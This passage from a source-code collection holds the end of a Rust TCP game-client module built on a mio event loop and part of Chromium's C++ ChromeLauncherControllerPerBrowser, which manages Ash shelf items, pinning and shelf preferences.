= message{ info!("Received client ID: {}", client_state.id); data.client_state.id = client_state.id; data.id = Some(client_state.id); data.is_authenticated_client = true; } else{ data.receive_queue.push(message); } } }, Err(e) => { info!("Error trying to read! {:?}", e); if let Some(error_number) = e.raw_os_error(){ if error_number == 10057{ info!("Socket is not connected!"); self.set_socket_disconnected(); } } } } } //let client_rereg = self.client.clone(); //self.reregister(event_loop, &client_rereg); //self.debug.fetch_add(1, Ordering::SeqCst); } fn notify(&mut self, _: &mut EventLoop<Self>, _: Self::Message) { info!("Received notify!"); } fn timeout(&mut self, _: &mut EventLoop<Self>, _: Self::Timeout) { info!("Received timeout"); } fn interrupted(&mut self, _: &mut EventLoop<Self>) { info!("Interrupted! :O"); } } pub struct Client{ data: Arc<RwLock<ClientData>>, interface: Arc<RwLock<ClientInterface>>, event_loop: Arc<RwLock<EventLoop<ClientInterface>>>, /// Set to true once the client has received initial ClientState from the server is_authenticated_client: bool, id: Option<u32> } impl Client{ /// Connect to the given socket and register with a threaded event loop pub fn connect(address: &SocketAddr) -> Result<Client>{ let socket = TcpStream::connect(address); match socket{ Ok(socket) => { let event_loop = Arc::new(RwLock::new(EventLoop::new().ok().expect("Failed to create event loop!"))); let client_data = Arc::new(RwLock::new(ClientData::new())); let interface_event_loop = event_loop.clone(); let client_interface = ClientInterface::new(interface_event_loop, socket, client_data.clone()); let mut client = Client{ data: client_data, interface: client_interface, event_loop: event_loop, is_authenticated_client: false, id: None }; client.register(); return Ok(client); }, Err(e) => { info!("Failed to connect! {:?}", e); return Err(e); } } } /// Register with the event loop fn register(&mut self){ if let Ok(mut interface) = self.interface.write(){ if let Ok(mut event_loop) = self.event_loop.write(){ interface.register(&mut event_loop); } } } /// Register with the event loop fn reregister(&mut self){ if let Ok(mut event_loop) = self.event_loop.write(){ if let Ok(mut interface) = self.interface.write(){ interface.reregister(&mut event_loop); } } } pub fn send_message<T: ToFrame>(&mut self, message: &T){ if let Ok(mut data) = self.data.write(){ data.send_queue.push_back(message.to_frame()); data.set_writable(); } else { return; } self.reregister(); } pub fn read(&mut self) -> Result<Message>{ if let Ok(mut interface) = self.interface.write(){ // Suddenly realizing that I just wrote some really confusing code here. return interface.read(); } else{ return Err(Error::new(ErrorKind::Other, String::from("Failed to read from client interface!"))); } } pub fn is_connected(&self) -> bool{ if let Ok(interface) = self.interface.try_read(){ return interface.is_connected; } // Only return disconnected when we know for sure it's true return true; } pub fn pop_received_messages(&mut self) -> Option<Vec<Message>>{ if let Ok(mut data) = self.data.write(){ if !data.receive_queue.is_empty(){ return Some(std::mem::replace(&mut data.receive_queue, Vec::with_capacity(RECEIVED_MESSAGES_PER_TICK))); } else{ return None; } } return None; } fn get_client_state(&self) -> Result<ClientState>{ if let Ok(data) = self.data.read(){ return Ok(data.client_state); } return Err(Error::new(ErrorKind::Other, String::from("Failed to read client state!"))); } /// Update the @position and @rotation of the client pub fn set_transform(&mut self, transform: Transform){ if let Ok(mut data) = self.data.try_write(){ data.client_state.position = transform.position; data.client_state.rotation = transform.rotation; data.state_updated = true; } // if let Ok(mut data) = self.data.try_write(){ // data.set_writable(); // } // else{ info!("Failed to write to client data"); } // // if let Ok(mut event_loop) = self.event_loop.try_write(){ // if let Ok(mut interface) = self.interface.try_write(){ // interface.reregister(&mut event_loop); // } // else{ info!("Failed to write to client interface"); } // } // else{ info!("Failed to write to event loop"); } } /// Update the @position of the client /// Maintains the current rotation pub fn set_position(&mut self, position: Position){ if let Some(current_rotation) = self.get_rotation(){ self.set_transform(Transform::from_components(position, current_rotation)); } } /// Update the @rotation of the client /// Maintains the current position pub fn set_rotation(&mut self, rotation: Rotation){ if let Some(current_position) = self.get_position(){ self.set_transform(Transform::from_components(current_position, rotation)); } } /// Get the client's current position pub fn get_position(&self) -> Option<Position> { if let Some(transform) = self.get_transform(){ return Some(transform.position); } return None; } /// Get the client's current rotaton pub fn get_rotation(&self) -> Option<Rotation> { if let Some(transform) = self.get_transform(){ return Some(transform.rotation); } return None; } /// Get the client's position and rotation pub fn get_transform(&self) -> Option<Transform>{ if let Ok(data) = self.data.read(){ return Some(Transform::from_components(data.client_state.position, data.client_state.rotation)); } return None; } pub fn is_authenticated(&mut self) -> bool{ // If the cached value is `false` then either we're not authenticated, // or we haven't checked the actual ClientData value yet if !self.is_authenticated_client{ // Read the ClientData value if let Ok(data) = self.data.try_read(){ // Cache the ClientData value to minimize RwLock access self.is_authenticated_client = data.is_authenticated_client; } } return self.is_authenticated_client; } pub fn disconnect(&mut self){ // Read the ClientData value if let Ok(mut interface) = self.interface.write(){ interface.is_connected = false; } } pub fn get_id(&mut self) -> Option<u32>{ // If the cached value is `false` then either we're not authenticated, // or we haven't checked the actual ClientData value yet if self.id.is_none(){ // Read the ClientData value if let Ok(data) = self.data.try_read(){ // Cache the ClientData value to minimize RwLock access self.id = data.id; } } return self.id; } } #[cfg(test)] mod test { use std::time::Duration; use std::net::SocketAddr; use std::thread; use super::Client; #[path="../../shared/frame.rs"] mod frame; use frame::{MessageHeader, ToFrame, Message}; #[test] fn connect(){ let addr = "127.0.0.1:6969".parse().unwrap(); if let Ok(mut client) = Client::connect(&addr){ let message = Message::new_text_message(String::from("Hello, world!")); client.send_message(&message); for _ in 1..5{ thread::sleep(Duration::new(2,0)); } } } }
bsd-3-clause
codenote/chromium-test
chrome/browser/ui/ash/launcher/chrome_launcher_controller_per_browser.cc
47718
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ui/ash/launcher/chrome_launcher_controller_per_browser.h" #include <vector> #include "ash/launcher/launcher_model.h" #include "ash/root_window_controller.h" #include "ash/shelf/shelf_widget.h" #include "ash/shell.h" #include "ash/wm/window_util.h" #include "base/command_line.h" #include "base/strings/string_number_conversions.h" #include "base/values.h" #include "chrome/browser/app_mode/app_mode_utils.h" #include "chrome/browser/defaults.h" #include "chrome/browser/extensions/app_icon_loader_impl.h" #include "chrome/browser/extensions/extension_service.h" #include "chrome/browser/extensions/extension_system.h" #include "chrome/browser/prefs/incognito_mode_prefs.h" #include "chrome/browser/prefs/pref_service_syncable.h" #include "chrome/browser/prefs/scoped_user_pref_update.h" #include "chrome/browser/profiles/profile.h" #include "chrome/browser/profiles/profile_manager.h" #include "chrome/browser/ui/ash/app_sync_ui_state.h" #include "chrome/browser/ui/ash/chrome_launcher_prefs.h" #include "chrome/browser/ui/ash/launcher/chrome_launcher_app_menu_item.h" #include "chrome/browser/ui/ash/launcher/launcher_app_tab_helper.h" #include "chrome/browser/ui/ash/launcher/launcher_context_menu.h" #include "chrome/browser/ui/ash/launcher/launcher_item_controller.h" #include "chrome/browser/ui/ash/launcher/shell_window_launcher_controller.h" #include "chrome/browser/ui/browser.h" #include "chrome/browser/ui/browser_commands.h" #include "chrome/browser/ui/browser_finder.h" #include "chrome/browser/ui/browser_tabstrip.h" #include "chrome/browser/ui/browser_window.h" #include "chrome/browser/ui/extensions/application_launch.h" #include "chrome/browser/ui/extensions/extension_enable_flow.h" #include "chrome/browser/ui/host_desktop.h" #include "chrome/browser/ui/tabs/tab_strip_model.h" #include "chrome/browser/web_applications/web_app.h" #include "chrome/common/chrome_notification_types.h" #include "chrome/common/chrome_switches.h" #include "chrome/common/extensions/extension.h" #include "chrome/common/extensions/manifest_handlers/icons_handler.h" #include "chrome/common/pref_names.h" #include "chrome/common/url_constants.h" #include "content/public/browser/navigation_entry.h" #include "content/public/browser/notification_service.h" #include "content/public/browser/web_contents.h" #include "extensions/common/url_pattern.h" #include "grit/theme_resources.h" #include "ui/aura/root_window.h" #include "ui/aura/window.h" using content::WebContents; using extensions::Extension; namespace { // Item controller for an app shortcut. Shortcuts track app and launcher ids, // but do not have any associated windows (opening a shortcut will replace the // item with the appropriate LauncherItemController type). class AppShortcutLauncherItemController : public LauncherItemController { public: AppShortcutLauncherItemController( const std::string& app_id, ChromeLauncherControllerPerBrowser* controller) : LauncherItemController(TYPE_SHORTCUT, app_id, controller) { // Google Drive should just refocus to it's main app UI. // TODO(davemoore): Generalize this for other applications. if (app_id == "apdfllckaahabafndbhieahigkjlhalf") { const Extension* extension = launcher_controller()->GetExtensionForAppID(app_id); refocus_url_ = GURL(extension->launch_web_url() + "*"); } } virtual ~AppShortcutLauncherItemController() {} // LauncherItemController overrides: virtual string16 GetTitle() OVERRIDE { return GetAppTitle(); } virtual bool HasWindow(aura::Window* window) const OVERRIDE { return false; } virtual bool IsOpen() const OVERRIDE { return false; } virtual bool IsVisible() const OVERRIDE { return false; } virtual void Launch(int event_flags) OVERRIDE { launcher_controller()->LaunchApp(app_id(), event_flags); } virtual void Activate() OVERRIDE { launcher_controller()->ActivateApp(app_id(), ui::EF_NONE); } virtual void Close() OVERRIDE { // TODO: maybe should treat as unpin? } virtual void Clicked(const ui::Event& event) OVERRIDE { Activate(); } virtual void OnRemoved() OVERRIDE { // AppShortcutLauncherItemController is unowned; delete on removal. delete this; } virtual void LauncherItemChanged( int model_index, const ash::LauncherItem& old_item) OVERRIDE { } virtual ChromeLauncherAppMenuItems GetApplicationList() OVERRIDE { ChromeLauncherAppMenuItems items; return items.Pass(); } // Stores the optional refocus url pattern for this item. const GURL& refocus_url() const { return refocus_url_; } void set_refocus_url(const GURL& refocus_url) { refocus_url_ = refocus_url; } private: GURL refocus_url_; DISALLOW_COPY_AND_ASSIGN(AppShortcutLauncherItemController); }; std::string GetPrefKeyForRootWindow(aura::RootWindow* root_window) { gfx::Display display = gfx::Screen::GetScreenFor( root_window)->GetDisplayNearestWindow(root_window); DCHECK(display.is_valid()); return base::Int64ToString(display.id()); } void UpdatePerDisplayPref(PrefService* pref_service, aura::RootWindow* root_window, const char* pref_key, const std::string& value) { std::string key = GetPrefKeyForRootWindow(root_window); if (key.empty()) return; DictionaryPrefUpdate update(pref_service, prefs::kShelfPreferences); base::DictionaryValue* shelf_prefs = update.Get(); base::DictionaryValue* prefs = NULL; if (!shelf_prefs->GetDictionary(key, &prefs)) { prefs = new base::DictionaryValue(); shelf_prefs->Set(key, prefs); } prefs->SetStringWithoutPathExpansion(pref_key, value); } // Returns a pref value in |pref_service| for the display of |root_window|. The // pref value is stored in |local_path| and |path|, but |pref_service| may have // per-display preferences and the value can be specified by policy. Here is // the priority: // * A value managed by policy. This is a single value that applies to all // displays. // * A user-set value for the specified display. // * A user-set value in |local_path| or |path|, if no per-display settings are // ever specified (see http://crbug.com/173719 for why). |local_path| is // preferred. See comment in |kShelfAlignment| as to why we consider two // prefs and why |local_path| is preferred. // * A value recommended by policy. This is a single value that applies to all // root windows. // * The default value for |local_path| if the value is not recommended by // policy. std::string GetPrefForRootWindow(PrefService* pref_service, aura::RootWindow* root_window, const char* local_path, const char* path) { const PrefService::Preference* local_pref = pref_service->FindPreference(local_path); const std::string value(pref_service->GetString(local_path)); if (local_pref->IsManaged()) return value; std::string pref_key = GetPrefKeyForRootWindow(root_window); bool has_per_display_prefs = false; if (!pref_key.empty()) { const base::DictionaryValue* shelf_prefs = pref_service->GetDictionary( prefs::kShelfPreferences); const base::DictionaryValue* display_pref = NULL; std::string per_display_value; if (shelf_prefs->GetDictionary(pref_key, &display_pref) && display_pref->GetString(path, &per_display_value)) return per_display_value; // If the pref for the specified display is not found, scan the whole prefs // and check if the prefs for other display is already specified. std::string unused_value; for (base::DictionaryValue::Iterator iter(*shelf_prefs); !iter.IsAtEnd(); iter.Advance()) { const base::DictionaryValue* display_pref = NULL; if (iter.value().GetAsDictionary(&display_pref) && display_pref->GetString(path, &unused_value)) { has_per_display_prefs = true; break; } } } if (local_pref->IsRecommended() || !has_per_display_prefs) return value; const base::Value* default_value = pref_service->GetDefaultPrefValue(local_path); std::string default_string; default_value->GetAsString(&default_string); return default_string; } // If prefs have synced and no user-set value exists at |local_path|, the value // from |synced_path| is copied to |local_path|. void MaybePropagatePrefToLocal(PrefServiceSyncable* pref_service, const char* local_path, const char* synced_path) { if (!pref_service->FindPreference(local_path)->HasUserSetting() && pref_service->IsSyncing()) { // First time the user is using this machine, propagate from remote to // local. pref_service->SetString(local_path, pref_service->GetString(synced_path)); } } } // namespace // ChromeLauncherControllerPerBrowser ----------------------------------------- ChromeLauncherControllerPerBrowser::ChromeLauncherControllerPerBrowser( Profile* profile, ash::LauncherModel* model) : model_(model), profile_(profile), app_sync_ui_state_(NULL) { if (!profile_) { // Use the original profile as on chromeos we may get a temporary off the // record profile. profile_ = ProfileManager::GetDefaultProfile()->GetOriginalProfile(); app_sync_ui_state_ = AppSyncUIState::Get(profile_); if (app_sync_ui_state_) app_sync_ui_state_->AddObserver(this); } model_->AddObserver(this); // Right now ash::Shell isn't created for tests. // TODO(mukai): Allows it to observe display change and write tests. if (ash::Shell::HasInstance()) ash::Shell::GetInstance()->display_controller()->AddObserver(this); // TODO(stevenjb): Find a better owner for shell_window_controller_? shell_window_controller_.reset(new ShellWindowLauncherController(this)); app_tab_helper_.reset(new LauncherAppTabHelper(profile_)); app_icon_loader_.reset(new extensions::AppIconLoaderImpl( profile_, extension_misc::EXTENSION_ICON_SMALL, this)); notification_registrar_.Add(this, chrome::NOTIFICATION_EXTENSION_LOADED, content::Source<Profile>(profile_)); notification_registrar_.Add(this, chrome::NOTIFICATION_EXTENSION_UNLOADED, content::Source<Profile>(profile_)); pref_change_registrar_.Init(profile_->GetPrefs()); pref_change_registrar_.Add( prefs::kPinnedLauncherApps, base::Bind(&ChromeLauncherControllerPerBrowser:: UpdateAppLaunchersFromPref, base::Unretained(this))); pref_change_registrar_.Add( prefs::kShelfAlignmentLocal, base::Bind(&ChromeLauncherControllerPerBrowser:: SetShelfAlignmentFromPrefs, base::Unretained(this))); pref_change_registrar_.Add( prefs::kShelfAutoHideBehaviorLocal, base::Bind(&ChromeLauncherControllerPerBrowser:: SetShelfAutoHideBehaviorFromPrefs, base::Unretained(this))); pref_change_registrar_.Add( prefs::kShelfPreferences, base::Bind(&ChromeLauncherControllerPerBrowser:: SetShelfBehaviorsFromPrefs, base::Unretained(this))); } ChromeLauncherControllerPerBrowser::~ChromeLauncherControllerPerBrowser() { // Reset the shell window controller here since it has a weak pointer to // this. shell_window_controller_.reset(); for (std::set<ash::Launcher*>::iterator iter = launchers_.begin(); iter != launchers_.end(); ++iter) (*iter)->shelf_widget()->shelf_layout_manager()->RemoveObserver(this); model_->RemoveObserver(this); if (ash::Shell::HasInstance()) ash::Shell::GetInstance()->display_controller()->RemoveObserver(this); for (IDToItemControllerMap::iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ++i) { i->second->OnRemoved(); model_->RemoveItemAt(model_->ItemIndexByID(i->first)); } if (ash::Shell::HasInstance()) ash::Shell::GetInstance()->RemoveShellObserver(this); if (app_sync_ui_state_) app_sync_ui_state_->RemoveObserver(this); PrefServiceSyncable::FromProfile(profile_)->RemoveObserver(this); } void ChromeLauncherControllerPerBrowser::Init() { UpdateAppLaunchersFromPref(); // TODO(sky): update unit test so that this test isn't necessary. if (ash::Shell::HasInstance()) { SetShelfAutoHideBehaviorFromPrefs(); SetShelfAlignmentFromPrefs(); PrefServiceSyncable* prefs = PrefServiceSyncable::FromProfile(profile_); if (!prefs->FindPreference(prefs::kShelfAlignmentLocal)->HasUserSetting() || !prefs->FindPreference(prefs::kShelfAutoHideBehaviorLocal)-> HasUserSetting()) { // This causes OnIsSyncingChanged to be called when the value of // PrefService::IsSyncing() changes. prefs->AddObserver(this); } ash::Shell::GetInstance()->AddShellObserver(this); } } ChromeLauncherControllerPerApp* ChromeLauncherControllerPerBrowser::GetPerAppInterface() { return NULL; } ash::LauncherID ChromeLauncherControllerPerBrowser::CreateTabbedLauncherItem( LauncherItemController* controller, IncognitoState is_incognito, ash::LauncherItemStatus status) { ash::LauncherID id = model_->next_id(); DCHECK(!HasItemController(id)); DCHECK(controller); id_to_item_controller_map_[id] = controller; controller->set_launcher_id(id); ash::LauncherItem item; item.type = ash::TYPE_TABBED; item.is_incognito = (is_incognito == STATE_INCOGNITO); item.status = status; model_->Add(item); return id; } ash::LauncherID ChromeLauncherControllerPerBrowser::CreateAppLauncherItem( LauncherItemController* controller, const std::string& app_id, ash::LauncherItemStatus status) { DCHECK(controller); return InsertAppLauncherItem(controller, app_id, status, model_->item_count()); } void ChromeLauncherControllerPerBrowser::SetItemStatus( ash::LauncherID id, ash::LauncherItemStatus status) { int index = model_->ItemIndexByID(id); DCHECK_GE(index, 0); ash::LauncherItem item = model_->items()[index]; item.status = status; model_->Set(index, item); } void ChromeLauncherControllerPerBrowser::SetItemController( ash::LauncherID id, LauncherItemController* controller) { IDToItemControllerMap::iterator iter = id_to_item_controller_map_.find(id); DCHECK(iter != id_to_item_controller_map_.end()); iter->second->OnRemoved(); iter->second = controller; controller->set_launcher_id(id); } void ChromeLauncherControllerPerBrowser::CloseLauncherItem( ash::LauncherID id) { if (IsPinned(id)) { // Create a new shortcut controller. IDToItemControllerMap::iterator iter = id_to_item_controller_map_.find(id); DCHECK(iter != id_to_item_controller_map_.end()); SetItemStatus(id, ash::STATUS_CLOSED); std::string app_id = iter->second->app_id(); iter->second->OnRemoved(); iter->second = new AppShortcutLauncherItemController(app_id, this); iter->second->set_launcher_id(id); } else { LauncherItemClosed(id); } } void ChromeLauncherControllerPerBrowser::Unpin(ash::LauncherID id) { DCHECK(HasItemController(id)); LauncherItemController* controller = id_to_item_controller_map_[id]; if (controller->type() == LauncherItemController::TYPE_APP) { int index = model_->ItemIndexByID(id); ash::LauncherItem item = model_->items()[index]; item.type = ash::TYPE_PLATFORM_APP; model_->Set(index, item); } else { LauncherItemClosed(id); } if (CanPin()) PersistPinnedState(); } void ChromeLauncherControllerPerBrowser::Pin(ash::LauncherID id) { DCHECK(HasItemController(id)); int index = model_->ItemIndexByID(id); ash::LauncherItem item = model_->items()[index]; if (item.type != ash::TYPE_PLATFORM_APP) return; item.type = ash::TYPE_APP_SHORTCUT; model_->Set(index, item); if (CanPin()) PersistPinnedState(); } bool ChromeLauncherControllerPerBrowser::IsPinned(ash::LauncherID id) { int index = model_->ItemIndexByID(id); ash::LauncherItemType type = model_->items()[index].type; return type == ash::TYPE_APP_SHORTCUT; } void ChromeLauncherControllerPerBrowser::TogglePinned(ash::LauncherID id) { if (!HasItemController(id)) return; // May happen if item closed with menu open. if (IsPinned(id)) Unpin(id); else Pin(id); } bool ChromeLauncherControllerPerBrowser::IsPinnable(ash::LauncherID id) const { int index = model_->ItemIndexByID(id); if (index == -1) return false; ash::LauncherItemType type = model_->items()[index].type; return ((type == ash::TYPE_APP_SHORTCUT || type == ash::TYPE_PLATFORM_APP) && CanPin()); } void ChromeLauncherControllerPerBrowser::LockV1AppWithID( const std::string& app_id) { } void ChromeLauncherControllerPerBrowser::UnlockV1AppWithID( const std::string& app_id) { } void ChromeLauncherControllerPerBrowser::Launch( ash::LauncherID id, int event_flags) { if (!HasItemController(id)) return; // In case invoked from menu and item closed while menu up. id_to_item_controller_map_[id]->Launch(event_flags); } void ChromeLauncherControllerPerBrowser::Close(ash::LauncherID id) { if (!HasItemController(id)) return; // May happen if menu closed. id_to_item_controller_map_[id]->Close(); } bool ChromeLauncherControllerPerBrowser::IsOpen(ash::LauncherID id) { if (!HasItemController(id)) return false; return id_to_item_controller_map_[id]->IsOpen(); } bool ChromeLauncherControllerPerBrowser::IsPlatformApp(ash::LauncherID id) { if (!HasItemController(id)) return false; std::string app_id = GetAppIDForLauncherID(id); const Extension* extension = GetExtensionForAppID(app_id); DCHECK(extension); return extension->is_platform_app(); } void ChromeLauncherControllerPerBrowser::LaunchApp(const std::string& app_id, int event_flags) { // |extension| could be NULL when it is being unloaded for updating. const Extension* extension = GetExtensionForAppID(app_id); if (!extension) return; const ExtensionService* service = extensions::ExtensionSystem::Get(profile_)->extension_service(); if (!service->IsExtensionEnabledForLauncher(app_id)) { // Do nothing if there is already a running enable flow. if (extension_enable_flow_) return; extension_enable_flow_.reset( new ExtensionEnableFlow(profile_, app_id, this)); extension_enable_flow_->StartForNativeWindow(NULL); return; } chrome::OpenApplication(chrome::AppLaunchParams(GetProfileForNewWindows(), extension, event_flags)); } void ChromeLauncherControllerPerBrowser::ActivateApp(const std::string& app_id, int event_flags) { if (app_id == extension_misc::kChromeAppId) { OnBrowserShortcutClicked(event_flags); return; } // If there is an existing non-shortcut controller for this app, open it. ash::LauncherID id = GetLauncherIDForAppID(app_id); URLPattern refocus_pattern(URLPattern::SCHEME_ALL); refocus_pattern.SetMatchAllURLs(true); if (id > 0) { LauncherItemController* controller = id_to_item_controller_map_[id]; if (controller->type() != LauncherItemController::TYPE_SHORTCUT) { controller->Activate(); return; } AppShortcutLauncherItemController* app_controller = static_cast<AppShortcutLauncherItemController*>(controller); const GURL refocus_url = app_controller->refocus_url(); if (!refocus_url.is_empty()) refocus_pattern.Parse(refocus_url.spec()); } // Check if there are any open tabs for this app. AppIDToWebContentsListMap::iterator app_i = app_id_to_web_contents_list_.find(app_id); if (app_i != app_id_to_web_contents_list_.end()) { for (WebContentsList::iterator tab_i = app_i->second.begin(); tab_i != app_i->second.end(); ++tab_i) { WebContents* tab = *tab_i; const GURL tab_url = tab->GetURL(); if (refocus_pattern.MatchesURL(tab_url)) { Browser* browser = chrome::FindBrowserWithWebContents(tab); TabStripModel* tab_strip = browser->tab_strip_model(); int index = tab_strip->GetIndexOfWebContents(tab); DCHECK_NE(TabStripModel::kNoTab, index); tab_strip->ActivateTabAt(index, false); browser->window()->Show(); ash::wm::ActivateWindow(browser->window()->GetNativeWindow()); return; } } } LaunchApp(app_id, event_flags); } extensions::ExtensionPrefs::LaunchType ChromeLauncherControllerPerBrowser::GetLaunchType(ash::LauncherID id) { DCHECK(HasItemController(id)); const Extension* extension = GetExtensionForAppID( id_to_item_controller_map_[id]->app_id()); return profile_->GetExtensionService()->extension_prefs()->GetLaunchType( extension, extensions::ExtensionPrefs::LAUNCH_DEFAULT); } std::string ChromeLauncherControllerPerBrowser::GetAppID( content::WebContents* tab) { return app_tab_helper_->GetAppID(tab); } ash::LauncherID ChromeLauncherControllerPerBrowser::GetLauncherIDForAppID( const std::string& app_id) { for (IDToItemControllerMap::const_iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ++i) { if (i->second->type() == LauncherItemController::TYPE_APP_PANEL) continue; // Don't include panels if (i->second->app_id() == app_id) return i->first; } return 0; } std::string ChromeLauncherControllerPerBrowser::GetAppIDForLauncherID( ash::LauncherID id) { DCHECK(HasItemController(id)); return id_to_item_controller_map_[id]->app_id(); } void ChromeLauncherControllerPerBrowser::SetAppImage( const std::string& id, const gfx::ImageSkia& image) { // TODO: need to get this working for shortcuts. for (IDToItemControllerMap::const_iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ++i) { if (i->second->app_id() != id) continue; int index = model_->ItemIndexByID(i->first); ash::LauncherItem item = model_->items()[index]; item.image = image; model_->Set(index, item); // It's possible we're waiting on more than one item, so don't break. } } void ChromeLauncherControllerPerBrowser::OnAutoHideBehaviorChanged( ash::ShelfAutoHideBehavior new_behavior) { std::string behavior_string; ash::Shell::RootWindowList root_windows; if (ash::Shell::IsLauncherPerDisplayEnabled()) root_windows = ash::Shell::GetAllRootWindows(); else root_windows.push_back(ash::Shell::GetPrimaryRootWindow()); for (ash::Shell::RootWindowList::const_iterator iter = root_windows.begin(); iter != root_windows.end(); ++iter) { SetShelfAutoHideBehaviorPrefs(new_behavior, *iter); } } void ChromeLauncherControllerPerBrowser::SetLauncherItemImage( ash::LauncherID launcher_id, const gfx::ImageSkia& image) { int index = model_->ItemIndexByID(launcher_id); if (index == -1) return; ash::LauncherItem item = model_->items()[index]; item.image = image; model_->Set(index, item); } bool ChromeLauncherControllerPerBrowser::IsAppPinned( const std::string& app_id) { for (IDToItemControllerMap::const_iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ++i) { if (IsPinned(i->first) && i->second->app_id() == app_id) return true; } return false; } void ChromeLauncherControllerPerBrowser::PinAppWithID( const std::string& app_id) { if (CanPin()) DoPinAppWithID(app_id); else NOTREACHED(); } void ChromeLauncherControllerPerBrowser::SetLaunchType( ash::LauncherID id, extensions::ExtensionPrefs::LaunchType launch_type) { if (!HasItemController(id)) return; return profile_->GetExtensionService()->extension_prefs()->SetLaunchType( id_to_item_controller_map_[id]->app_id(), launch_type); } void ChromeLauncherControllerPerBrowser::UnpinAppsWithID( const std::string& app_id) { if (CanPin()) DoUnpinAppsWithID(app_id); else NOTREACHED(); } bool ChromeLauncherControllerPerBrowser::IsLoggedInAsGuest() { return ProfileManager::GetDefaultProfileOrOffTheRecord()->IsOffTheRecord(); } void ChromeLauncherControllerPerBrowser::CreateNewWindow() { chrome::NewEmptyWindow( GetProfileForNewWindows(), chrome::HOST_DESKTOP_TYPE_ASH); } void ChromeLauncherControllerPerBrowser::CreateNewIncognitoWindow() { chrome::NewEmptyWindow(GetProfileForNewWindows()->GetOffTheRecordProfile(), chrome::HOST_DESKTOP_TYPE_ASH); } bool ChromeLauncherControllerPerBrowser::CanPin() const { const PrefService::Preference* pref = profile_->GetPrefs()->FindPreference(prefs::kPinnedLauncherApps); return pref && pref->IsUserModifiable(); } ash::ShelfAutoHideBehavior ChromeLauncherControllerPerBrowser::GetShelfAutoHideBehavior( aura::RootWindow* root_window) const { // Don't show the shelf in the app mode. if (chrome::IsRunningInAppMode()) return ash::SHELF_AUTO_HIDE_ALWAYS_HIDDEN; // See comment in |kShelfAlignment| as to why we consider two prefs. const std::string behavior_value( GetPrefForRootWindow(profile_->GetPrefs(), root_window, prefs::kShelfAutoHideBehaviorLocal, prefs::kShelfAutoHideBehavior)); // Note: To maintain sync compatibility with old images of chrome/chromeos // the set of values that may be encountered includes the now-extinct // "Default" as well as "Never" and "Always", "Default" should now // be treated as "Never" (http://crbug.com/146773). if (behavior_value == ash::kShelfAutoHideBehaviorAlways) return ash::SHELF_AUTO_HIDE_BEHAVIOR_ALWAYS; return ash::SHELF_AUTO_HIDE_BEHAVIOR_NEVER; } bool ChromeLauncherControllerPerBrowser::CanUserModifyShelfAutoHideBehavior( aura::RootWindow* root_window) const { return profile_->GetPrefs()-> FindPreference(prefs::kShelfAutoHideBehaviorLocal)->IsUserModifiable(); } void ChromeLauncherControllerPerBrowser::ToggleShelfAutoHideBehavior( aura::RootWindow* root_window) { ash::ShelfAutoHideBehavior behavior = GetShelfAutoHideBehavior(root_window) == ash::SHELF_AUTO_HIDE_BEHAVIOR_ALWAYS ? ash::SHELF_AUTO_HIDE_BEHAVIOR_NEVER : ash::SHELF_AUTO_HIDE_BEHAVIOR_ALWAYS; SetShelfAutoHideBehaviorPrefs(behavior, root_window); return; } void ChromeLauncherControllerPerBrowser::RemoveTabFromRunningApp( WebContents* tab, const std::string& app_id) { web_contents_to_app_id_.erase(tab); AppIDToWebContentsListMap::iterator i_app_id = app_id_to_web_contents_list_.find(app_id); if (i_app_id != app_id_to_web_contents_list_.end()) { WebContentsList* tab_list = &i_app_id->second; tab_list->remove(tab); if (tab_list->empty()) { app_id_to_web_contents_list_.erase(i_app_id); i_app_id = app_id_to_web_contents_list_.end(); ash::LauncherID id = GetLauncherIDForAppID(app_id); if (id > 0) SetItemStatus(id, ash::STATUS_CLOSED); } } } void ChromeLauncherControllerPerBrowser::UpdateAppState( content::WebContents* contents, AppState app_state) { std::string app_id = GetAppID(contents); // Check the old |app_id| for a tab. If the contents has changed we need to // remove it from the previous app. if (web_contents_to_app_id_.find(contents) != web_contents_to_app_id_.end()) { std::string last_app_id = web_contents_to_app_id_[contents]; if (last_app_id != app_id) RemoveTabFromRunningApp(contents, last_app_id); } if (app_id.empty()) return; web_contents_to_app_id_[contents] = app_id; if (app_state == APP_STATE_REMOVED) { // The tab has gone away. RemoveTabFromRunningApp(contents, app_id); } else { WebContentsList& tab_list(app_id_to_web_contents_list_[app_id]); if (app_state == APP_STATE_INACTIVE) { WebContentsList::const_iterator i_tab = std::find(tab_list.begin(), tab_list.end(), contents); if (i_tab == tab_list.end()) tab_list.push_back(contents); if (i_tab != tab_list.begin()) { // Going inactive, but wasn't the front tab, indicating that a new // tab has already become active. return; } } else { tab_list.remove(contents); tab_list.push_front(contents); } ash::LauncherID id = GetLauncherIDForAppID(app_id); if (id > 0) { // If the window is active, mark the app as active. SetItemStatus(id, app_state == APP_STATE_WINDOW_ACTIVE ? ash::STATUS_ACTIVE : ash::STATUS_RUNNING); } } } void ChromeLauncherControllerPerBrowser::SetRefocusURLPatternForTest( ash::LauncherID id, const GURL& url) { DCHECK(HasItemController(id)); LauncherItemController* controller = id_to_item_controller_map_[id]; int index = model_->ItemIndexByID(id); if (index == -1) { NOTREACHED() << "Invalid launcher id"; return; } ash::LauncherItemType type = model_->items()[index].type; if (type == ash::TYPE_APP_SHORTCUT) { AppShortcutLauncherItemController* app_controller = static_cast<AppShortcutLauncherItemController*>(controller); app_controller->set_refocus_url(url); } else { NOTREACHED() << "Invalid launcher type"; } } const Extension* ChromeLauncherControllerPerBrowser::GetExtensionForAppID( const std::string& app_id) const { return profile_->GetExtensionService()->GetInstalledExtension(app_id); } void ChromeLauncherControllerPerBrowser::OnBrowserShortcutClicked( int event_flags) { if (event_flags & ui::EF_CONTROL_DOWN) { CreateNewWindow(); return; } Browser* last_browser = chrome::FindTabbedBrowser( GetProfileForNewWindows(), true, chrome::HOST_DESKTOP_TYPE_ASH); if (!last_browser) { CreateNewWindow(); return; } aura::Window* window = last_browser->window()->GetNativeWindow(); window->Show(); ash::wm::ActivateWindow(window); } void ChromeLauncherControllerPerBrowser::ItemClicked( const ash::LauncherItem& item, const ui::Event& event) { DCHECK(HasItemController(item.id)); id_to_item_controller_map_[item.id]->Clicked(event); } int 